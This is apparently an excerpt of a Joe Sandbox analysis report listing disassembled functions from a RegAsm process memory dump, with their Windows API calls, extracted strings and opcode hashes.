Instruction Fuzzy Hash: 6DB1E7B0E00208EFEB14CFA4C895BEEBBB5FF49704F108559E505AB281D7B96A05DF94

Function 00558602 Relevance: 9.3, APIs: 6, Instructions: 292
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b19c6b64e826937bdb7dc31c2ae32d7b211ae0885c833dfccb12e4220377f2d7
Instruction ID: e07229ff1cba09dcd36dce801a7b1233fabc1512174d6e02fe944172db1cf8b2
Opcode Fuzzy Hash: b19c6b64e826937bdb7dc31c2ae32d7b211ae0885c833dfccb12e4220377f2d7
Instruction Fuzzy Hash: E5B12F71A002469FDF11DFA8D868BBD7FB1BF98306F14055AE805AB392CB709949CB61

Function 00432A10 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00432730: __aulldiv.LIBCMT ref: 004327EC

Part of subcall function 00416D40: std::ios_base::clear.LIBCPMTD ref: 00416E67

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00432AC6

Part of subcall function 004141F0: std::ios_base::clear.LIBCPMTD ref: 00414372

Part of subcall function 00414120: std::ios_base::clear.LIBCPMTD ref: 0041417E

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00432BB1
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00432BE2

Strings

`@, xrefs: 00432ABC, 00432BA7, 00432BD8
`XA, xrefs: 00432AB3, 00432B9E, 00432BCF

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_std::ios_base::clear$__aulldiv
String ID: `XA$`@
API String ID: 3845869555-3161672447
Opcode ID: 499cc38bca5e5eee6f3b98578f3111c1f0707a8ce1551d9d6f3247992cc4ed29
Instruction ID: 3527d75c2889a0717fbb8ab9843578eceae7c7c14e9a82e1f7817ca15f23b596
Opcode Fuzzy Hash: 499cc38bca5e5eee6f3b98578f3111c1f0707a8ce1551d9d6f3247992cc4ed29
Instruction Fuzzy Hash: 0151F6B09042498BCF18DF94DA557FEFFB1AF46300F2040AAD5456B391D7B96E80CBA4

Function 00432730 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 206COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004327EC

Strings

#QA, xrefs: 0043295E
j3l6lrek, xrefs: 004328E1, 00432910
eks, xrefs: 00432823, 00432852

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: #QA$eks$j3l6lrek
API String ID: 3732870572-648034744
Opcode ID: f283ddd01c004db30799fa68bf0fa5e56acb001b317e5ab16a297473e537f4de
Instruction ID: 9cf4c69cd55d2e0518746a3466bbf4a10ff52003f7089bc16da2cf440afcdfac
Opcode Fuzzy Hash: f283ddd01c004db30799fa68bf0fa5e56acb001b317e5ab16a297473e537f4de
Instruction Fuzzy Hash: D5A104B0D042589FDB18DFA8C995BEEBBB1BF48304F1081AAD409AB341DB745A85CF55

Function 0050CFD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36, xrefs: 0050D108

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
API String ID: 0-1672990099
Opcode ID: dac320825edefe943ed636d760b90f19265976471660e8a98e5b3eb1bfa26cc9
Instruction ID: af3aba282a7ad9b2e93fca42d1f7bc737f9eedaa915b506a7f6d8e2fd158d075
Opcode Fuzzy Hash: dac320825edefe943ed636d760b90f19265976471660e8a98e5b3eb1bfa26cc9
Instruction Fuzzy Hash: 2451D4B5E00209ABDB08DFD9D895BEEBBF5BF88304F108119E905A7384D7746A45CFA0

Function 00416D40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 96COMMON

Download Yara Rule

APIs

std::ios_base::clear.LIBCPMTD ref: 00416E67

Strings

WA, xrefs: 00416DEB
`XA, xrefs: 00416D73

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: std::ios_base::clear
String ID: WA$`XA
API String ID: 1443086396-855112263
Opcode ID: fd6d3b38f9fdb5634df08d7e797737518ec3e3351e89a693b8f25bb325a5dc12
Instruction ID: e51bc9c54a42b8ef1cd12b3b9bd65c72ed8b49a9321af47167c83bb76f7294a1
Opcode Fuzzy Hash: fd6d3b38f9fdb5634df08d7e797737518ec3e3351e89a693b8f25bb325a5dc12
Instruction Fuzzy Hash: 2241E874A04209EFDB04CF99C891BAEBBB1FF88304F108199E5456B391C775AE81CF94

Function 0050BE70 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 150COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0050BEFF

Strings

-2L, xrefs: 0050BF1C, 0050BF50
-1L, xrefs: 0050C02D

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast
String ID: -1L$-2L
API String ID: 1452528299-3975959154
Opcode ID: dec8cad2c55e9888397527991f9892660b5cdac7793d9a5de5fba730fe071168
Instruction ID: 3e0623363a6e144795b8ec7180edf1d44363f13792f61db51fb60a1d3622be1b
Opcode Fuzzy Hash: dec8cad2c55e9888397527991f9892660b5cdac7793d9a5de5fba730fe071168
Instruction Fuzzy Hash: 7551E870E0020DAFDF14DFA9C895AEEBBB1FF58300F108159E505AB290D775AA45CB94

Function 0041F8A0 Relevance: 4.5, APIs: 3, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000001), ref: 0041F8D4
_com_issue_error.COMSUPP ref: 0041F8F2
_com_issue_error.COMSUPP ref: 0041F91B

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: _com_issue_error$AllocString
String ID:
API String ID: 245909816-0
Opcode ID: 25fb45ca90abf438ddcfae103dd26f7752a483356323623e483c641dc8f24b9d
Instruction ID: a24f95736fba0c74e4e3555c4c336336530305dcf636b10b7505c08ba7a43cf1
Opcode Fuzzy Hash: 25fb45ca90abf438ddcfae103dd26f7752a483356323623e483c641dc8f24b9d
Instruction Fuzzy Hash: 6E1197B4900208EFDB00EF94C549BDDBBB1EF45304F2081A9D8096B391D779AEC5DB95

Function 0055059E Relevance: 4.5, APIs: 3, Instructions: 15COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00550598,00000000,0054BE6A,?,?,77465D17,0054BE6A,?), ref: 005505AF
TerminateProcess.KERNEL32(00000000,?,00550598,00000000,0054BE6A,?,?,77465D17,0054BE6A,?), ref: 005505B6
ExitProcess.KERNEL32 ref: 005505C8

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 1be82f418c8225fefb6aeb59f33d53f3388f4d89d608f9ef7fe15704087c396f
Instruction ID: 3086ee8b273d5b4c006d23eec51e53c855beef80df2b19bbd260fe2dec8fb92d
Opcode Fuzzy Hash: 1be82f418c8225fefb6aeb59f33d53f3388f4d89d608f9ef7fe15704087c396f
Instruction Fuzzy Hash: 2DD05E31001108FBCF013F64DC0D86D3F29BF413627008011FC4946072EB719A49EF80

Function 0042C860 Relevance: 3.2, APIs: 2, Instructions: 228COMMON

Download Yara Rule

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 0042C985
CreateDirectoryA.KERNEL32(00000000,00000000,00000000,00000009,00000000), ref: 0042CAF8

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$CreateDirectory
String ID:
API String ID: 1884557851-0
Opcode ID: fdd880ddb1894bbfd7f0cde3648e522acaa3ae5e4c09753f30f17d9eeede14a2
Instruction ID: e35925c65554d2c0a3a1443ddc85414629e5bcfe3965ecc060c4090fb4496b3d
Opcode Fuzzy Hash: fdd880ddb1894bbfd7f0cde3648e522acaa3ae5e4c09753f30f17d9eeede14a2
Instruction Fuzzy Hash: 6CA126B1E002189FDB14CFA9D891BEEBBB5BF88304F1481AAE509B7341DB746A45CF54

Function 0055947B Relevance: 3.2, APIs: 2, Instructions: 196fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00558B91: GetConsoleOutputCP.KERNEL32(77465D17,00000000,00000000,00000000), ref: 00558BF4

WriteFile.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,0000000C,?,00000000,00589A50,00000014,0054FFC4,00000000,00000000,00000000), ref: 00559600
GetLastError.KERNEL32(?,00000000), ref: 0055960A

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 201f97af174688d1bfe5719fbeb33e38c261d8ff65e2259391ef7a08be0b4f04
Instruction ID: 5eba85e067e0e5cf6d76053b3e974d9ac6f9f8d9bc6e2b2f6045d485f23cc89f
Opcode Fuzzy Hash: 201f97af174688d1bfe5719fbeb33e38c261d8ff65e2259391ef7a08be0b4f04
Instruction Fuzzy Hash: C461907190411AEFDF11CFA8C898AEEBFB9BF49305F140546EC04A7252E739D919DB90

Function 00413370 Relevance: 3.2, APIs: 2, Instructions: 151COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 004134A2
__fread_nolock.LIBCMT ref: 004134F2

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: bea5ab4c573278c9366d3a56cf058ffa6c1a558cb2d466c53249f149bec19cf4
Instruction ID: a523e1fdb25d906078803576da8ce0adea0d72a7a43f1f7f0bdaebbb61e394b9
Opcode Fuzzy Hash: bea5ab4c573278c9366d3a56cf058ffa6c1a558cb2d466c53249f149bec19cf4
Instruction Fuzzy Hash: CF617475A00109EFCB04CF98C594AEEBBB2FF88305F20819AE915AB355D735AE81DF54

Function 0054BD01 Relevance: 3.1, APIs: 2, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,?,?,0054BCC3,?,?,?,?,?), ref: 0054BD3D
GetLastError.KERNEL32(?,?,0054BCC3,?,?,?,?,?,00589670,00000018,0054BE94,?,?,?,?,?), ref: 0054BD4A

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: bcfffc708b122c39ba56ae591e9166d9c0b0d94b574a4d1f27eeb6ad8e47f9c0
Instruction ID: 2e4398c2beb6d13b8be6dbba8cedcd2e04a33a61b6303d575ad3d47346a92234
Opcode Fuzzy Hash: bcfffc708b122c39ba56ae591e9166d9c0b0d94b574a4d1f27eeb6ad8e47f9c0
Instruction Fuzzy Hash: 23014932A00159AFDF098F69EC09EEE3F29FB91334B240249F8119B2D1E771ED419B90

Function 00432CE0 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,?,004CEF0B,004D0EAC,?,?,?,?,004D16AC,?), ref: 00432CED
SetFileAttributesA.KERNEL32(00000000,004D0EAC,?,?,004CEF0B,004D0EAC,?,?,?,?,004D16AC,?), ref: 00432D0E

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 82dd6cfb3df8d38798b6bff3d8c653e2c8ac81596821cd1e753cc255fa7d4282
Instruction ID: 17f50d77b5380e17bfecc3254ea086c8ce7b678cac9353087afd210d25087df4
Opcode Fuzzy Hash: 82dd6cfb3df8d38798b6bff3d8c653e2c8ac81596821cd1e753cc255fa7d4282
Instruction Fuzzy Hash: 5BE01271400108FBCF05EFA5ED569EE7B78EA10354B10415AF40A57150DB346A45D654

Function 0055B54E Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,005600E1,0041C3C8,00000000,0041C3C8,?,00560382,0041C3C8,00000007,0041C3C8,?,00560977,0041C3C8,0041C3C8), ref: 0055B564
GetLastError.KERNEL32(0041C3C8,?,005600E1,0041C3C8,00000000,0041C3C8,?,00560382,0041C3C8,00000007,0041C3C8,?,00560977,0041C3C8,0041C3C8), ref: 0055B56F

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: ee45bd410849a22136ebfc851fb0f5d82ff2a544bedcb27ce91135c8e5648aa0
Instruction ID: 20bed6333c48c9e29f3c4187128fd18ce024873ab30f1bb919b30e55d5893297
Opcode Fuzzy Hash: ee45bd410849a22136ebfc851fb0f5d82ff2a544bedcb27ce91135c8e5648aa0
Instruction Fuzzy Hash: 47E08632901204EBDB212FA8EC0C7993F58BB903A6F154061FA0886061E7708958D794

Function 00558AF1 Relevance: 2.6, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,00000000,CF830579,?,005589D8,00000000,CF830579,00589A30,0000000C,00558A94,0054F9CD,?), ref: 00558B47
GetLastError.KERNEL32(?,005589D8,00000000,CF830579,00589A30,0000000C,00558A94,0054F9CD,?), ref: 00558B51

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: ba4073fe59c0273cf0a43eeaadb8b5787e977135eb764b88650cbd609ff65dc6
Instruction ID: f4bd6432e4de74e526d37458ef812ee94ff776e0a49b4f1f2e6cce482f08d647
Opcode Fuzzy Hash: ba4073fe59c0273cf0a43eeaadb8b5787e977135eb764b88650cbd609ff65dc6
Instruction Fuzzy Hash: 101125336041149AE7242774B87DB7D6F4DBB82736F29071BFC18AB2D2DE629C8C8251

Function 0054F1F5 Relevance: 1.7, APIs: 1, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b540579799c8366f1ad63fe7d20ceb1a631115153c6bd94d81caa7a3d511727
Instruction ID: 0abd0ce25e41a12b84d4c730f0376eeba83013bff36b66aa24f401c19eb01205
Opcode Fuzzy Hash: 5b540579799c8366f1ad63fe7d20ceb1a631115153c6bd94d81caa7a3d511727
Instruction Fuzzy Hash: 2851DE75A00208AFDF14DF6CCC85AED7FB1FF89328F248568E8489B252D2719E41DB90

Function 004141F0 Relevance: 1.6, APIs: 1, Instructions: 124COMMON

Download Yara Rule

APIs

std::ios_base::clear.LIBCPMTD ref: 00414372

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: std::ios_base::clear
String ID:
API String ID: 1443086396-0
Opcode ID: 58448151bd354260cd9a08f84b338cf19da0731d695e8a87039be356ae3ac3cd
Instruction ID: 4589b3371e6d06cd0b09e54fff51007b890a70e87f88cf71658882eb532a57ad
Opcode Fuzzy Hash: 58448151bd354260cd9a08f84b338cf19da0731d695e8a87039be356ae3ac3cd
Instruction Fuzzy Hash: 88519EB4E04249DFCB14CF99D491AEEFBB1BF88310F24815AE915AB395C734A981CF94

Function 00432BF0 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(00000000), ref: 00432CCA

Part of subcall function 0053F2CA: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-00005B29,?,004315B5,00591F6C,?,00000009,00000000,?,00000000,?,?,?,00000009,00000000), ref: 0053F2D5
Part of subcall function 0053F2CA: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-00005B29,?,004315B5,00591F6C,?,00000009,00000000,?,00000000,?,?,?,00000009,00000000), ref: 0053F30F

Part of subcall function 0053F279: AcquireSRWLockExclusive.KERNEL32(0058F970,-00005B29,?,004315E2,00591F6C), ref: 0053F283
Part of subcall function 0053F279: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,004315E2,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000009), ref: 0053F2B6
Part of subcall function 0053F279: WakeAllConditionVariable.KERNEL32(0058F96C,?,004315E2,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000009), ref: 0053F2C1

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$ConditionCurrentDirectoryVariableWake
String ID:
API String ID: 350265564-0
Opcode ID: 14ceb1f5c2fea23f25e5bea5dd4da988e6309eed05c9ab0d7075ea0fce419aa0
Instruction ID: 65ee2402bef4394ddcaf3b894fffdda6807163083ba995bd545c4aed17316b39
Opcode Fuzzy Hash: 14ceb1f5c2fea23f25e5bea5dd4da988e6309eed05c9ab0d7075ea0fce419aa0
Instruction Fuzzy Hash: 2C219E78D0020D9FCF04DFA5C9859AEBBB1FF88344F14816AE80227355D735A949CFA5

Function 0042DB00 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetUserGeoID.KERNEL32(00000010), ref: 0042DB10

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: User
String ID:
API String ID: 765557111-0
Opcode ID: 9bcb46c56d57f59544fb181276d94ea3ba3972a21b70dc8c66cdeea7f2cea484
Instruction ID: 8d34a061c5f18727317f707fe57f617125871aa9769c370c413bd8d73196b332
Opcode Fuzzy Hash: 9bcb46c56d57f59544fb181276d94ea3ba3972a21b70dc8c66cdeea7f2cea484
Instruction Fuzzy Hash: F811C9B9E40209EFEF00DFD4D846BAEBB74FB88700F104559EA14A7381D6716A40DB95

Function 0041D950 Relevance: 1.5, APIs: 1, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 0041D967

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: b4b3639a3ba63ce81198140ecc5c44ce5842f15e9e5a38e4622a0ca65768e202
Instruction ID: 674d0d9324c32695ec84509d6356fb57e9fd442c229b42c66f94af4388531e7c
Opcode Fuzzy Hash: b4b3639a3ba63ce81198140ecc5c44ce5842f15e9e5a38e4622a0ca65768e202
Instruction Fuzzy Hash: 46F044F0D1010CABCB04EFA8C4816DEFBB1EF44344F1081AAE80597354D2349E81CB85

Function 00506D90 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 00506DAD

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: c0a453f07a250da7017e798074b610ad49202a6a441d844e7f24568c7c798848
Instruction ID: 67707a3543eeeb65c32e51cb00a73f141398d27d36282480db41af3bb40b7a2f
Opcode Fuzzy Hash: c0a453f07a250da7017e798074b610ad49202a6a441d844e7f24568c7c798848
Instruction Fuzzy Hash: 69F03CB2D04259EBCF10EFA5C4457DDBFB4BB04304F1086AEE825262C1D6799794CB96

Function 005014C0 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 005014DD

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 4613c607654aef4a0f2013d8b8f801fb6713962a8c09123b5566bf82f1d6e6b2
Instruction ID: 0b52646ce7f1c9d1942f0f531b2ec6b57163d3dda84d9600d13f3cdb499410ea
Opcode Fuzzy Hash: 4613c607654aef4a0f2013d8b8f801fb6713962a8c09123b5566bf82f1d6e6b2
Instruction Fuzzy Hash: B1F03CB1C04249ABCF01EFE5C8456DEBFF4BB44344F1084AED8062B281D3799684CF9A

Function 0055B588 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,0041C3C8,-000668A0,?,0053EFA8,0041C3C8,?,0041C3C8,00000000,?,0041A2D6), ref: 0055B5BA

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6e9b39e9116b117d415c2d69b4abdddbabe72bd0950ce5a222cc93a79d75d85e
Instruction ID: dd605d54bd157bf3e7977fd1ecab0699d2794db80be38d523bd52aa81911a654
Opcode Fuzzy Hash: 6e9b39e9116b117d415c2d69b4abdddbabe72bd0950ce5a222cc93a79d75d85e
Instruction Fuzzy Hash: 58E0E531502222ABF6342B699C2DB5A3E59FF913F2F110123AC05930C1FB10CD0C86E0

Function 0051D1D0 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 0051CF90: SetLastError.KERNEL32(000005B6), ref: 0051D03F

boost::exception::~exception.LIBCPMTD ref: 0051D214

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLastboost::exception::~exception
String ID:
API String ID: 2030483509-0
Opcode ID: 63156cd5215ca059d83636e626bc65d2ee801d0aaed27d076ead712688a8c329
Instruction ID: e7c355b44aa25fec94a950e7c34cbc76375c2376b10c233e8d10068d06e58a94
Opcode Fuzzy Hash: 63156cd5215ca059d83636e626bc65d2ee801d0aaed27d076ead712688a8c329
Instruction Fuzzy Hash: B3F08C71840649EBCB04EF84C942BAEBB74FB44720F104728B426676C0DB351E01CB91

Function 0050C760 Relevance: 1.3, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

CharNextA.USER32(00000000,00000000,?,0050C7B6,0050CDFF,0000002E,00000000,?,0050CDFF), ref: 0050C770

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: e0a00663e9917bfe8e8533278bc9554091e04477d1fbdc4f7316dc4c04211636
Instruction ID: f38d17d45434b94ec3eb9a66a712cac48f706c4b4f196614c175ee5259d41211
Opcode Fuzzy Hash: e0a00663e9917bfe8e8533278bc9554091e04477d1fbdc4f7316dc4c04211636
Instruction Fuzzy Hash: FDF01534A08248EBCB00CBA4C68046EBFF9EB47751B204699E8459B280E730AF00AF40

Non-executed Functions

Function 00544809 Relevance: 71.2, APIs: 25, Strings: 15, Instructions: 1201COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00544857
operator+.LIBVCRUNTIME ref: 00544871
DName::operator+.LIBCMT ref: 0054499F
DName::operator+.LIBCMT ref: 005449BC

Part of subcall function 00545AF3: DName::DName.LIBVCRUNTIME ref: 00545B36

DName::operator+.LIBCMT ref: 00544A70
DName::operator+.LIBCMT ref: 00544A7F

Part of subcall function 0054A0D1: DName::operator+.LIBCMT ref: 0054A115
Part of subcall function 0054A0D1: DName::operator+.LIBCMT ref: 0054A121
Part of subcall function 0054A0D1: DName::operator+.LIBCMT ref: 0054A19C
Part of subcall function 0054A0D1: DName::operator+=.LIBCMT ref: 0054A1DF

DName::operator+.LIBCMT ref: 00544A0B

Part of subcall function 00544662: DName::operator=.LIBVCRUNTIME ref: 00544683

Part of subcall function 0054460A: shared_ptr.LIBCMT ref: 00544626

Part of subcall function 005460FE: shared_ptr.LIBCMT ref: 005461A4

DName::operator+.LIBCMT ref: 00544FE9
DName::operator+.LIBCMT ref: 00545005
DName::operator+.LIBCMT ref: 005452A4

Part of subcall function 00544535: DName::operator+.LIBCMT ref: 00544556

Strings

`vtordispex{, xrefs: 00544D36
`template static data member destructor helper', xrefs: 00545146
extern "C" , xrefs: 0054554A
[thunk]:, xrefs: 0054550D
public: , xrefs: 0054549A
`local static destructor helper', xrefs: 0054508F
`template static data member constructor helper', xrefs: 005450EA
private: , xrefs: 00545403
/, xrefs: 0054514D
`vtordisp{, xrefs: 00544DBF
`adjustor{, xrefs: 00544E01
static , xrefs: 00545283
}' , xrefs: 005449F3, 00544E25
protected: , xrefs: 00545454
virtual , xrefs: 00545380

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::shared_ptr$Name::operator+=Name::operator=operator+
String ID: /$[thunk]:$`adjustor{$`local static destructor helper'$`template static data member constructor helper'$`template static data member destructor helper'$`vtordispex{$`vtordisp{$extern "C" $private: $protected: $public: $static $virtual $}'
API String ID: 848932493-2884338863
Opcode ID: 6bbe3b5badbec425c6ece21d88415922d7f8e6c7c3b2703b5e6ba9c7647d363d
Instruction ID: b048682db7abe05678021ef8e5e6ceb716d609e9a07fa26261fef60315eb5df1
Opcode Fuzzy Hash: 6bbe3b5badbec425c6ece21d88415922d7f8e6c7c3b2703b5e6ba9c7647d363d
